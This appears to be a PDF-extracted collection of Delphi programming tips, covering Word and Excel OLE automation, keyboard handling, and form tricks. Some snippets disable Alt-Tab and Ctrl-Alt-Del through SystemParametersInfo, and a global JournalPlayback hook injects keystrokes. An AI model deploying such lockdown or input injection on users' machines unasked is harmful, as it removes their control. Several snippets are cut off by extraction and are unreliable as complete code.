.. .. .. some functions if V = 0 then begin V := CreateOLEObject('Word.Application'); V.WordBasic.AppShow; end; // this example assumes we are filling in some bookmark // fields on a "standard letter", from a query that has previously // been executed, in a data module called pnm_data (OK , should // have used a with...block !) V.WordBasic.Fileopen('Your Word Doc name'); V.WordBasic.EditBookmark('Title',0,0,0,1); V.WordBasic.Insert(Title); V.WordBasic.EditBookmark('FirstName',0,0,0,1); V.WordBasic.Insert(FirstName + ' '); V.WordBasic.EditBookmark('LastName',0,0,0,1); V.WordBasic.Insert(pnm_data.ContactsQuery1Fam_Name.AsString + ' '); V.WordBasic.EditBookmark('Address1',0,0,0,1); V.WordBasic.Insert(pnm_data.ContactsQuery1Address1.AsString + ' '); V.WordBasic.EditBookmark('Address2',0,0,0,1); V.WordBasic.Insert(pnm_data.ContactsQuery1Address2.AsString + ' '); V.WordBasic.EditBookmark('Address3',0,0,0,1); V.WordBasic.Insert(pnm_data.ContactsQuery1Address3.AsString + ' '); V.WordBasic.EditBookmark('Title1',0,0,0,1); V.WordBasic.Insert(Title); V.WordBasic.EditBookmark('LastName1',0,0,0,1); V.WordBasic.Insert(pnm_data.ContactsQuery1Fam_Name.AsString + ' '); (You could V.WordBasic.PrintDefault; if you want to tell Word to print it as well....and many other commands, like saving, changing font etc can be done) ....etc
Starting Word without AutoStart Macro From: "Rui Chambel"
757
First you must create the WordBasic object and then execute that method.
Wordbasic from Delphi using Parameters From: Steve Diederichs
Revert := 1);
LastOLECommand := 'Start the Mail Merge.'; MSWord.MailMerge(CheckErrors := 2, Destination := 1, MergeRecords:= 0, From := '', To := '', Suppression := 0, MailSubject := '', MailAsAttachment := 0, MailAddress := ''); LastOLECommand := 'Set up for SendKeys to select printer.'; Application.ProcessMessages; MSWord.AppShow; s := '{home}%l{enter}{home}%n' + FOutput + '{tab}{enter}{home}{enter}'; // sdd 1.1 MSWord.SendKeys(s, -1); MSWord.MailMergeToPrinter;
758
Application.ProcessMessages; ProcessMerge := True; LastOLECommand := 'All done with merge.'; except on EOleException do begin inc(TotalOLEErrors); lblStatus.caption := LastOLECommand; if (TotalOLEErrors >= TOTALOLEERRORS_MAX) then begin s := 'There has been at least one OLE error(' + IntToStr(TotalOLEErrors) + '), the last one was >' + LastOLECommand + '<.'; ShowMessage(s); end; end end; end;
Hack: tired of ReportSmith? Wish you had wysiwyg reports? From: "James D. Rofkar"
Word: Variant; begin Word := CreateOleObject('Word.Basic'); with Word do begin {Pure WordBASIC commands follow...} FileNew('Normal'); Insert('This is the first line'#13); Insert('This is the second line'#13); FileSaveAs('c:\temp\test.txt', 3); end; end;
Simple, isn't it? If you notice, there's no need for SendMessage(), or PostMessage(), or DDE, or Word's C-API, or some proprietary DOS-based batch programming that requires text files to be written. In fact, none of that junk! Another benefit of OLE Automation is that it doesn't require the darned app to launch. That's right! Word does not show-up using this technique. Instead, just the WordBASIC engine is used. The speed improvements and lower memory footprint kick the livin' crap out of the techniques listed in the previous paragraph. A wild side-benefit is that if you startup Word while your program is using OLE Automation, you can watch it work. Yup! Word realizes that "documents" are opened and being editing, and hence, displays them like regular old Word documents. 759
Now all you need to do is generate a Word template with Bookmarks! Then, using the WordBASIC commands "EditBookmark .Goto" and "Insert", you're ready to rock! I've given-up on report generators. They suck compared to Word's WYSIWYG output!
Excel From: [email protected] (Scott F. Barnes) >GOGA wrote in message <[email protected]>... >>Can someone please tell me some basic function to control excel from delphi >>with ole automation. Check UNDU and back issues of Delphi Informant. Also http://vzone.virgin.net/graham.marshall/excel.htm#excel.htm I can't remember exactly which sample(s) I managed to piece this together from, but this sample code will create and format an Excel spreadsheet based on the contents of a DBGrid generated from an SQL query. And it will apply some formatting. This sample is working code that runs in D3 with Excel 97: procedure TfrmBlank.btnExcelClick(Sender: TObject); var XL, XArr: Variant; i : Integer; j : Integer; begin {note the ComObj (example OleAuto not correct) in the uses} // Create an array of query element size XArr:=VarArrayCreate([1,EmailQuery.FieldCount],varVariant); XL:=CreateOLEObject('Excel.Application'); // Ole object creation XL.WorkBooks.add; XL.visible:=true;
end;
j := 1; EmailQuery.First; while not EmailQuery.Eof do begin i:=1; while i<=EmailQuery.FieldCount do begin XArr[i] := EmailQuery.Fields[i-1].Value; i := i+1; end; XL.Range['A'+IntToStr(j), CHR(64+EmailQuery.FieldCount)+IntToStr(j)].Value := XArr; EmailQuery.Next; j := j + 1; end; XL.Range['A1',CHR(64+EmailQuery.FieldCount)+IntToStr(j)].select; // XL.cells.select; // Select everything XL.Selection.Font.Name:='Garamond'; XL.Selection.Font.Size:=10; XL.selection.Columns.AutoFit; XL.Range['A1','A1'].select;
Delphi + WordBasic 8 From: "K. Brown"
760
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, OLEAuto, ShellAPI, StdCtrls; type TForm1 = class(TForm) Memo1: TMemo; Edit1: TEdit; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } MSWord: Variant; // WordVersion: Byte; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); var Test, Test1: Integer; AString: Variant; begin MSWord := CreateOLEObject('Word.Application'); //Word 8 MSWord.Documents.Open (FileName:='d:\test.doc', ReadOnly:=True); MSWord.Visible := 1; //Uncomment if you wish to show the file; Test := MSWord.FontNames.Count; For Test1 := 1 To Test do begin AString := MSWord.FontNames.Item(Test1) ; Memo1.Lines.Add(AString); end; MSWord.ActiveDocument.Range(Start:=0, End:=0); MSWord.ActiveDocument.Range.InsertAfter(Text:='Title'); MSWord.ActiveDocument.Range.InsertParagraphAfter; MSWord.ActiveDocument.Range.Font.Name := 'Arial'; MSWord.ActiveDocument.Range.Font.Size := 24; AString := MSWord.ActiveDocument.Range.Font.Name; Edit1.Text := AString; end; end.
Please email me and tell me if you liked this page. Last modified 03/12/00 12:09:21
761
Keyboard 33. Beeping when
Beeping when
Disable alt-tab and ctrl+esc keys From: [email protected] (Meik Weber) procedure TurnSysKeysOff; var OldVal : LongInt; begin SystemParametersInfo (97, Word (True), @OldVal, 0) end; procedure TurnSysKeysBackOn; var OldVal : LongInt; begin SystemParametersInfo (97, Word (False), @OldVal, 0) end;
762
How to detect arrow keys? From: Mark Pritchard
Hooking keyboard (Sendkeys Routine) From: [email protected] (Iman L. Crawford) I've seen several posts on how to hook the key board. Here's some old code I've dug up (can't remember where It came from). library Sendkey; {This code taken with permission from "Delphi Developer's Guide" by Xavier Pacheco and Steve Teixeira.} uses SysUtils, WinTypes, WinProcs, Messages, Classes, KeyDefs; type { Error codes } TSendKeyError = (sk_None, sk_FailSetHook, sk_InvalidToken, sk_UnknownError); { exceptions } ESendKeyError = class(Exception); ESetHookError = class(ESendKeyError); EInvalidToken = class(ESendKeyError); { a TList descendant that know how to dispose of its contents } TMessageList = class(TList) public destructor Destroy; override; end; destructor TMessageList.Destroy; var i: longint; begin { deallocate all the message records before discarding the list } for i := 0 to Count - 1 do Dispose(PEventMsg(Items[i])); inherited Destroy; end; var { variables global to the DLL } MsgCount: word; MessageBuffer: TEventMsg; HookHandle: hHook; Playing: Boolean; MessageList: TMessageList; AltPressed, ControlPressed, ShiftPressed: Boolean; NextSpecialKey: TKeyString; function MakeWord(L, H: Byte): Word; { macro creates a word from low and high bytes } inline(
763
$5A/ $58/ $8A/$E2);
{ pop dx } { pop ax } { mov ah, dl }
procedure StopPlayback; { Unhook the hook, and clean up } begin { if Hook is currently active, then unplug it } if Playing then UnhookWindowsHookEx(HookHandle); MessageList.Free; Playing := False; end; function Play(Code: integer; wParam: word; lParam: Longint): Longint; export; { This is the JournalPlayback callback function. It is called by Windows } { when Windows polls for hardware events. The code parameter indicates what } { to do. } begin case Code of hc_Skip: begin { hc_Skip means to pull the next message out of our list. If we } { are at the end of the list, it's okay to unhook the JournalPlayback } { hook from here. } { increment message counter } inc(MsgCount); { check to see if all messages have been played } if MsgCount >= MessageList.Count then StopPlayback else { copy next message from list into buffer } MessageBuffer := TEventMsg(MessageList.Items[MsgCount]^); Result := 0; end; hc_GetNext: begin { hc_GetNext means to fill the wParam and lParam with the proper } { values so that the message can be played back. DO NOT unhook } { hook from within here. Return value indicates how much time until } { Windows should playback message. We'll return 0 so that it's } { processed right away. } { move message in buffer to message queue } PEventMsg(lParam)^ := MessageBuffer; Result := 0 { process immediately } end else { if Code isn't hc_Skip or hc_GetNext, then call next hook in chain } Result := CallNextHookEx(HookHandle, Code, wParam, lParam); end; end; procedure StartPlayback; { Initializes globals and sets the hook } begin { grab first message from list and place in buffer in case we } { get a hc_GetNext before and hc_Skip } MessageBuffer := TEventMsg(MessageList.Items[0]^); { initialize message count and play indicator } MsgCount := 0; { initialize Alt, Control, and Shift key flags } AltPressed := False; ControlPressed := False; ShiftPressed := False; { set the hook! }
764
HookHandle := SetWindowsHookEx(wh_JournalPlayback, Play, hInstance, 0); if HookHandle = 0 then raise ESetHookError.Create('Couldn''t set hook') else Playing := True; end; procedure MakeMessage(vKey: byte; M: word); { procedure builds a TEventMsg record that emulates a keystroke and } { adds it to message list } var E: PEventMsg; begin New(E); { allocate a message record } with E^ do begin Message := M; { set message field } { high byte of ParamL is the vk code, low byte is the scan code } ParamL := MakeWord(vKey, MapVirtualKey(vKey, 0)); ParamH := 1; { repeat count is 1 } Time := GetTickCount; { set time } end; MessageList.Add(E); end; procedure KeyDown(vKey: byte); { Generates KeyDownMessage } begin { don't generate a "sys" key if the control key is pressed (Windows quirk) } if (AltPressed and (not ControlPressed) and (vKey in [Ord('A')..Ord('Z')])) or (vKey = vk_Menu) then MakeMessage(vKey, wm_SysKeyDown) else MakeMessage(vKey, wm_KeyDown); end; procedure KeyUp(vKey: byte); { Generates KeyUp message } begin { don't generate a "sys" key if the control key is pressed (Windows quirk) } if AltPressed and (not ControlPressed) and (vKey in [Ord('A')..Ord('Z')]) then MakeMessage(vKey, wm_SysKeyUp) else MakeMessage(vKey, wm_KeyUp); end; procedure SimKeyPresses(VKeyCode: Word); { This function simulates keypresses for the given key, taking into } { account the current state of Alt, Control, and Shift keys } begin { press Alt key if flag has been set } if AltPressed then KeyDown(vk_Menu); { press Control key if flag has been set } if ControlPressed then KeyDown(vk_Control); { if shift is pressed, or shifted key and control is not pressed... } if (((Hi(VKeyCode) and 1) <> 0) and (not ControlPressed)) or ShiftPressed then KeyDown(vk_Shift); { ...press shift } KeyDown(Lo(VKeyCode)); { press key down } KeyUp(Lo(VKeyCode)); { release key } { if shift is pressed, or shifted key and control is not pressed... } if (((Hi(VKeyCode) and 1) <> 0) and (not ControlPressed)) or ShiftPressed then KeyUp(vk_Shift); { ...release shift } { if shift flag is set, reset flag } if ShiftPressed then begin
765
ShiftPressed := False; end; { Release Control key if flag has been set, reset flag } if ControlPressed then begin KeyUp(vk_Control); ControlPressed := False; end; { Release Alt key if flag has been set, reset flag } if AltPressed then begin KeyUp(vk_Menu); AltPressed := False; end; end; procedure ProcessKey(S: String); { This function parses each character in the string to create the message list } var KeyCode: word; Key: byte; index: integer; Token: TKeyString; begin index := 1; repeat case S[index] of KeyGroupOpen : begin { It's the beginning of a special token! } Token := ''; inc(index); while S[index] <> KeyGroupClose do begin { add to Token until the end token symbol is encountered } Token := Token + S[index]; inc(index); { check to make sure the token's not too long } if (Length(Token) = 7) and (S[index] <> KeyGroupClose) then raise EInvalidToken.Create('No closing brace'); end; { look for token in array, Key parameter will } { contain vk code if successful } if not FindKeyInArray(Token, Key) then raise EInvalidToken.Create('Invalid token'); { simulate keypress sequence } SimKeyPresses(MakeWord(Key, 0)); end; AltKey : begin { set Alt flag } AltPressed := True; end; ControlKey : begin { set Control flag } ControlPressed := True; end; ShiftKey : begin { set Shift flag } ShiftPressed := True; end; else begin { A normal character was pressed } { convert character into a word where the high byte contains } { the shift state and the low byte contains the vk code } KeyCode := vkKeyScan(MakeWord(Byte(S[index]), 0));
766
{ simulate keypress sequence } SimKeyPresses(KeyCode); end; end; inc(index); until index > Length(S); end; function SendKeys(S: String): TSendKeyError; export; { This is the one entry point. Based on the string passed in the S } { parameter, this function creates a list of keyup/keydown messages, } { sets a JournalPlayback hook, and replays the keystroke messages. } var i: byte; begin try Result := sk_None; { assume success } MessageList := TMessageList.Create; { create list of messages } ProcessKey(S); { create messages from string } StartPlayback; { set hook and play back messages } except { if an exception occurs, return an error code, and clean up } on E:ESendKeyError do begin MessageList.Free; if E is ESetHookError then Result := sk_FailSetHook else if E is EInvalidToken then Result := sk_InvalidToken; end else { Catch-all exception handler ensures than an exception } { doesn't walk up into application stack } Result := sk_UnknownError; end; end; exports SendKeys index 1; begin end
Simulating ButtonDown From: "James D. Rofkar"
No problem Paulo: You'll probably want to be using 10 TSpeedButton controls, or an array of them, since this button provides a "Down" property. Anyhow, set the "KeyPreview" property of your main form to "True". Then, in your "OnKeyDown" event handler, write something like this... case Key of VK_NUMPAD0: VK_NUMPAD1: VK_NUMPAD2: VK_NUMPAD3:
btn0.Down btn1.Down btn2.Down btn3.Down
:= := := :=
True; True; True; True;
767
VK_NUMPAD4: VK_NUMPAD5: VK_NUMPAD6: VK_NUMPAD7: VK_NUMPAD8: VK_NUMPAD9: end;
btn4.Down btn5.Down btn6.Down btn7.Down btn8.Down btn9.Down
:= := := := := :=
True; True; True; True; True; True;
And, in your "OnKeyUp" event handler, write something like... case Key of VK_NUMPAD0: VK_NUMPAD1: VK_NUMPAD2: VK_NUMPAD3: VK_NUMPAD4: VK_NUMPAD5: VK_NUMPAD6: VK_NUMPAD7: VK_NUMPAD8: VK_NUMPAD9: end;
btn0.Down btn1.Down btn2.Down btn3.Down btn4.Down btn5.Down btn6.Down btn7.Down btn8.Down btn9.Down
:= := := := := := := := := :=
False; False; False; False; False; False; False; False; False; False;
You'll want to experiment with the "AllowAllUp" property and the "GroupIndex" property to get the button response/effect you like. Again, an array of TSpeedButtons would be the most elegant solution to this problem, since you could use the VK_ constant as the index, and make both event handlers a one line call to Button[VK_x].Down := True {or False}.
How? ENTER key instead of TAB Here is something I picked up off Compuserve that should help. Simon Callcott CIS: 100574,1034 Using the &tl;Enter≷ key like a &tl;Tab≷ key with Delphi Controls The example code supplied here demonstrates how to trap the &tl;Enter≷ key and the cursor keys to provide better data entry processing. The trick is to overide the Keypress and KeyDown events so that they process the keys the way you want. In the examples supplied I have used the &tl;Enter≷ key to move to the next control (like the &tl;Tab≷ key) and the cursor Up and Down keys to move to the previous and next controls respectively. The Edit and EBEdit use the cursor keys as stated above, but the Combobox and the Listbox use Shift-Up and Shift-Down instead so as not to interfere with existing functionality. The Grid control uses the &tl;Enter≷ key to move between fields, however it will not move from the last field of the last row. It is very easy to make it exit the grid at this point if you need to. The method used to move to the next/previous control is the Windows API call SendMessage which is used to dispatch a WM_NEXTDLGCTL to the form the controls are children to. Delphi provides a function called GetParentForm to get the handle of the parent form of the control. These simple extensions can be expanded to respond to almost any keyboard event, and I think using this method is less trouble than trapping keys in the forms OnKey events (using keypreview:=true). Feel free to use the code as you wish, but if you discover something new please let me in on it! 768
{ Edit control that reponds as if the &tl;Tab≷ key has been pressed when an &tl;Enter≷ key is pressed, moving to the next control. Very simple extension to the KeyPress event, this technique should work with TDBedit as well, Useful for data entry type apps. Less trouble than using the Keypreview function of the form to do the same thing. Please Use Freely. Simon Callcott
CIS: 100574, 1034
} unit Entedit; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TEnterEdit = class(TEdit) private protected procedure KeyPress(var Key: Char); override; procedure KeyDown(var Key: Word; Shift: TShiftState); override; public published end; procedure Register; implementation procedure Register; begin RegisterComponents('Samples', [TEnterEdit]); end; procedure TEnterEdit.KeyPress(var Key: Char); var MYForm: TForm; begin if Key = #13 then begin MYForm := GetParentForm( Self ); if not (MYForm = nil ) then SendMessage(MYForm.Handle, WM_NEXTDLGCTL, 0, 0); Key := #0; end; if Key &tl;≷ #0 then inherited KeyPress(Key); end; procedure TEnterEdit.KeyDown(var Key: Word; Shift: TShiftState);
769
var MYForm: TForm; CtlDir: Word; begin if (Key = VK_UP) or (Key = VK_DOWN) then begin MYForm := GetParentForm( Self ); if Key = VK_UP then CtlDir := 1 else CtlDir :=0; if not (MYForm = nil ) then SendMessage(MYForm.Handle, WM_NEXTDLGCTL, CtlDir, 0); end else inherited KeyDown(Key, Shift); end; end.
Solution 2 Q. "Is there a way to use the return key for data entry, instead of tab or the mouse?" Ken Hale [email protected] Compuserve: 74633.2474 A. Use this code for an Edit's OnKeyPress event. procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); begin If Key = #13 Then Begin SelectNext(Sender as tWinControl, True, True ); Key := #0; end; end;
This causes Enter to behave like tab. Now, select all controls on the form you'd like to exhibit this behavior (not Buttons) and go to the Object Inspector and set their OnKeyPress handler to EditKeyPress. Now, each control you selected will process Enter as Tab. If you'd like to handle this at the form (as opposed to control) level, reset all the controls OnKeyPress properties to blank, and set the _form_'s OnKeyPress property to EditKeyPress. Then, change Sender to ActiveControl and set the form's KeyPreview property to true: procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char); begin If Key = #13 Then begin SelectNext(ActiveControl as tWinControl, True, True ); Key := #0; end; end;
This will cause each control on the form (that can) to process Enter as Tab.
Caps Lock (and others like it) From: [email protected] (Mark Vaughan) ]-How Do I turn them on? (IN A DELPHI PROGRAM OF COURSE) i have tried and asked around
770
try this... procedure TMyForm.Button1Click(Sender: TObject); Var KeyState : TKeyboardState; begin GetKeyboardState(KeyState); if (KeyState[VK_NUMLOCK] = 0) then KeyState[VK_NUMLOCK] := 1 else KeyState[VK_NUMLOCK] := 0; SetKeyboardState(KeyState); end;
for caps lock substitute VK_CAPITAL for VK_NUMLOCK.
KeyDown Example "Dmitry"
disable Ctrl-Alt-Del From: Richard Leigh
The program should be nice and small so it can load before a user can hit CTRL-ALTDEL. My Solution : Compile a single WIN32API call into a small .exe in delphi. The Program : program small; {written by Richard Leigh, Deakin Univesity 1997} uses WinProcs; {$R *.RES} var
Dummy : integer;
begin Dummy := 0; {Disable ALT-TAB} SystemParametersInfo( SPI_SETFASTTASKSWITCH, 1, @Dummy, 0); {Disable CTRL-ALT-DEL} SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @Dummy, 0); end.
This is the main unit - No forms and compiles small. Please email me and tell me if you liked this page. Last modified 03/12/00 12:08:28
772
Forms 42. Delphi Applications without Forms?
43. Showing own logo on start-up 44. Moving a form without a caption barforms2 45. Hack: Want VCL controls in a form's title bar caption area? 46. Storing TForm and/or its properties in a BLOB
47. Removing icon on taskbar forms5 48. How can I hide the form caption bar?? 49. Floating toolbar - here's some code to do it 50. Programming for different resolutions in Delphi 2.0 51. How do I know a Form is 'ready' resizing? 52. Preventing the user from resizing my window vertically 53. Preventing a From from Resizing 54. messagedlg centering 55. Center a Form
56. custom shaped forms?forms14
57. minimize non-main forms to the taskbarforms15
Delphi Applications without Forms? From: [email protected] (Bob Peck) You bet! First, select File|New Project and choose "CRT Application" from the Browse Gallery dialog. This will provide you with a project that is still a Windows program, but 773
WriteLn, ReadLn will be allowed in a Window but work like they did in DOS. If you wish, you can remove the WinCrt unit from the uses statement (if no user input/output is required, but is nice for debugging). I've done this before just to see how small an app can be and I've been able to create a simple EXE (it just beeps) that is only 3200 bytes or so in size! Try to do that in C++ these days! BTW, these "formless" apps are still Windows applications, so they can still call the Windows API routines. You'll just need to add WinProcs, WinTypes to your uses clause. You'll probably also want to add SysUtils and any other unit you find yourself needing.
Showing own logo on start-up From: "Mark R. Holbrook"
NOT showmodal }
. . { Do other app startup stuff here like open databases etc... } . .
{ Just after the block of code that creates all your forms and before the Application.Run statement do: }
logoform.Hide; logoform.Release;
This will display your logo form until you actually start the app running.
Moving a form without a caption bar Drag outline window From: [email protected] (Matthias Gerstgrasser) The following is from DKBS Helpfile (Delphi Knowledge Base System), they state, that this is one of Borland's TI's: Q: How can I make a form move by clicking and dragging in the client area instead of on the caption bar? A: The easiest way to do this is to "fool" Windows into thinking that you're actually clicking on the caption bar of a form. Do this by handling the wm_NCHitTest windows message... type
774
TForm1 = class(TForm) private { Private-Deklarationen } public { Public-Deklarationen } procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { call the inherited message handler if M.Result = htClient then { is the click in the client area? M.Result := htCaption; { if so, make Windows think it's { on the caption bar. end;
} } } }
Drag whole window From: [email protected] But if i implement your code and drag the window, the window stays on the same spot and i drag an outline of the window. Can this be changed so i drag the whole window (like win95 plus)?
Here's a simple little component I wrote that'll handle it... Unit WinDrag; interface uses windows, sysutils, classes, dsgnintf; type TWinDrag = class(TComponent) private { Private Declarations } protected { Protected Declarations } public { Public Declarations } constructor Create(AOwner: TComponent); override; destructor Destroy; override; function GetDragFlag: boolean; procedure SetDragFlag(Status: Boolean); published Property DragFlag: Boolean read GetDragFlag write SetDragFlag; end; procedure Register; implementation constructor TWinDrag.Create(AOwner: TComponent); begin inherited Create(AOwner); DragFlag := GetDragFlag; end; destructor TWinDrag.Destroy;
775
begin inherited Destroy; end; function TWinDrag.GetDragFlag: boolean; var Value : Boolean; begin SystemParametersInfo(SPI_GETDRAGFULLWINDOWS, 0, @Value, 0); Result := Value; end; procedure TWinDrag.SetDragFlag(Status: Boolean); begin SystemParametersInfo(SPI_SETDRAGFULLWINDOWS, Integer(Status), POINTER(0), 0); end; procedure Register; begin RegisterComponents('Samples', [TWinDrag]); end; end.
Moving form by dragging label From: "Rodney E Geraghty"
Hack: Want VCL controls in a form's title bar caption area? From: "James D. Rofkar"
776
Treat your controls like they belong in a separate modeless dialog that just so happens to track the movement and resizing of your main form. In addition, it always appear over the main form's caption area. This said, here's a simple hack that involves 2 forms and a drop-down listbox. After running this program, the drop-down listbox will appear in the Main form's caption area. Two key issues are: 1) trapping the Main form's WM_MOVE message; and 2) returning focus back to the Main form after users press any focus-grabbing controls (like a TComboBox, TButton, etc.) [FYI, I'm using 32-bit Delphi 2.0 Developer under Win95 -- even though this technique should work for all versions of Delphi] Here's the source for the Main form: unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) procedure FormResize(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormHide(Sender: TObject); private { Private declarations } public { Public declarations } procedure WMMove(var Msg: TWMMove); message WM_MOVE; end; var Form1: TForm1; implementation uses Unit2; {$R *.DFM} procedure TForm1.FormResize(Sender: TObject); begin with Form2 do begin {Replace my magic numbers with real SystemMetrics info} Width := Form1.Width - 120; Top := Form1.Top + GetSystemMetrics(SM_CYFRAME); Left := ((Form1.Left + Form1.Width) - Width) - 60; end; end; procedure TForm1.FormShow(Sender: TObject); begin Form2.Show; end; procedure TForm1.FormHide(Sender: TObject); begin Form2.Hide; end; procedure TForm1.WMMove(var Msg: TWMMove);
777
begin inherited; if (Visible) then FormResize(Self); end; end.
Here's the source for the pseudo-caption area form. This is the form that contains the VCL controls you wish to place in the Main form's caption area. Essentially, it's a modeless dialog with the following properties: Caption='' {NULL string} Height={height of caption area} Width={width of all controls in form} BorderIcons=[] {none} BorderStyle=bsNone FormStyle=fsStayOnTop
Anyhow, here's the source for Form2: unit Unit2; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm2 = class(TForm) ComboBox1: TComboBox; procedure FormCreate(Sender: TObject); procedure ComboBox1Change(Sender: TObject); procedure FormResize(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation uses Unit1; {$R *.DFM} procedure TForm2.FormCreate(Sender: TObject); begin Height := ComboBox1.Height - 1; Width := ComboBox1.Width - 1; end; procedure TForm2.ComboBox1Change(Sender: TObject); begin Form1.SetFocus; end; procedure TForm2.FormResize(Sender: TObject); begin ComboBox1.Width := Width; end;
778
end.
The project file (.DPR) is fairly straightforward: program Project1; uses Forms, Unit1 in 'Unit1.pas' {Form1}, Unit2 in 'Unit2.pas' {Form2}; {$R *.RES} begin Application.Initialize; Application.CreateForm(TForm1, Form1); Application.CreateForm(TForm2, Form2); Application.Run; end.
That's it! Although some Delphi book authors state: "You can't place a Delphi component on the title bar, so there's literally no way to put a button there." you can at least "fake" the illusion...
Storing TForm and/or its properties in a BLOB From: [email protected] (Oliver Bollmann) Hallo, here are examples you need, I hope: procedure SaveToField(FField:TBlobField;Form:TComponent); var Stream: TBlobStream; FormName: string; begin FormName := Copy(Form.ClassName, 2, 99); Stream := TBlobStream.Create(FField, bmWrite); try Stream.WriteComponentRes(FormName, Form); finally Stream.Free; end; end; procedure LoadFromField(FField:TBlobField;Form:TComponent); var Stream: TBlobStream; I: integer; begin try Stream := TBlobStream.Create(FField, bmRead); try {delete all components} for I := Form.ComponentCount - 1 downto 0 do Form.Components[I].Free; Stream.ReadComponentRes(Form); finally Stream.Free;
779
end; except on EFOpenError do {nothing}; end; end;
Removing icon on taskbar From: AVONTURE Christophe
How can I hide the form caption bar?? From: "James D. Rofkar"
Then, in the actual CreateParams() method, specify something like this: procedure TForm1.Createparams(var Params: TCreateParams); begin inherited CreateParams(Params); with Params do Style := (Style or WS_POPUP) and (not WS_DLGFRAME); end;
Hopefully, you'll provide some UI mechanism for moving and closing the window.
Floating toolbar - here's some code to do it From: [email protected] (Anders Ohlsson) Someone asked for some code to make a form with no title bar moveable, kind of like a floating toolbar, for example FreeDock. Actually, for some of the stuff in here I spied on the FreeDock sources... This requires the use of some WinAPI functions. All WinAPI functions are however available at a touch of a key (F1 - OnLine Help)... Here's some code that does this (about 100 lines)... To make this work like intended: OR start a new project, make the form's borderstyle bsNone, add a panel, set the border style of the panel to bsSingle, add another panel with some caption, add a button that says 'toggle title bar', cut out the below code and insert it were it should be, enable the panel's three event handlers (MouseDown, MouseMove, MouseUp), enable the button's event handler (Click). Hope I didn't forget anything... ;-) It's done faster in Delphi than it's written here... ;-) 780
unit Unit1; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls; type TForm1 = class(TForm) Panel1: TPanel; Panel2: TPanel; Button1: TButton; procedure Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure Panel1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure Panel1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure Button1Click(Sender: TObject); private { Private declarations } OldX, OldY, OldLeft, OldTop : Integer; ScreenDC : HDC; MoveRect : TRect; Moving : Boolean; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin if Button = mbLeft then begin SetCapture(Panel1.Handle); ScreenDC := GetDC(0); OldX := X; OldY := Y; OldLeft := X; OldTop := Y; MoveRect := BoundsRect; DrawFocusRect(ScreenDC,MoveRect); Moving := True; end; end; procedure TForm1.Panel1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if Moving then begin DrawFocusRect(ScreenDC,MoveRect); OldX := X; OldY := Y; MoveRect := Rect(Left+OldX-OldLeft,Top+OldY-OldTop,
781
Left+Width+OldX-OldLeft,Top+Height+OldY-OldTop); DrawFocusRect(ScreenDC,MoveRect); end; end; procedure TForm1.Panel1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin if Button = mbLeft then begin ReleaseCapture; DrawFocusRect(ScreenDC,MoveRect); Left := Left+X-OldLeft; Top := Top+Y-OldTop; ReleaseDC(0,ScreenDC); Moving := False; end; end; procedure TForm1.Button1Click(Sender: TObject); var TitleHeight, BorderWidth, BorderHeight : Integer; begin TitleHeight := GetSystemMetrics(SM_CYCAPTION); BorderWidth := GetSystemMetrics(SM_CXBORDER)+GetSystemMetrics(SM_CXFRAME)-1; BorderHeight := GetSystemMetrics(SM_CYBORDER)+GetSystemMetrics(SM_CYFRAME)-2; if BorderStyle = bsNone then begin BorderStyle := bsSizeable; Top := Top-TitleHeight-BorderHeight; Height := Height+TitleHeight+2*BorderHeight; Left := Left-BorderWidth; Width := Width+2*BorderWidth; end else begin BorderStyle := bsNone; Top := Top+TitleHeight+BorderHeight; Height := Height-TitleHeight-2*BorderHeight; Left := Left+BorderWidth; Width := Width-2*BorderWidth; end; end; end.
Comments From: Steve Teixeira
782
private procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; { call the inherited message handler if M.Result = htClient then { is the click in the client area? M.Result := htCaption; { if so, make Windows think it's { on the caption bar. end;
} } } }
procedure TForm1.Button1Click(Sender: TObject); begin Close; end; end.
Programming for different resolutions in Delphi 2.0 You need to download: Ti2861 - Form display with different screen resolutions. from the Delphi Technical Support area of our web site at www.borland.com.
How do I know a Form is 'ready' resizing? From: [email protected] The methods you might be concerned with are: {Trap the GetMinMaxInfo message and set minimum window size} { using declared constants } procedure TForm1.WMGETMINMAXINFO( var message: TMessage ); var mStruct: PMinMaxInfo; begin mStruct := PMinMaxInfo(message.lParam); mStruct.ptMinTrackSize.x := HORIZONTALSIZE; mStruct.ptMinTrackSize.y := VERTICALSIZE; message.Result := 0; end;
783
Preventing the user from resizing my window vertically From: Bill Dekleris
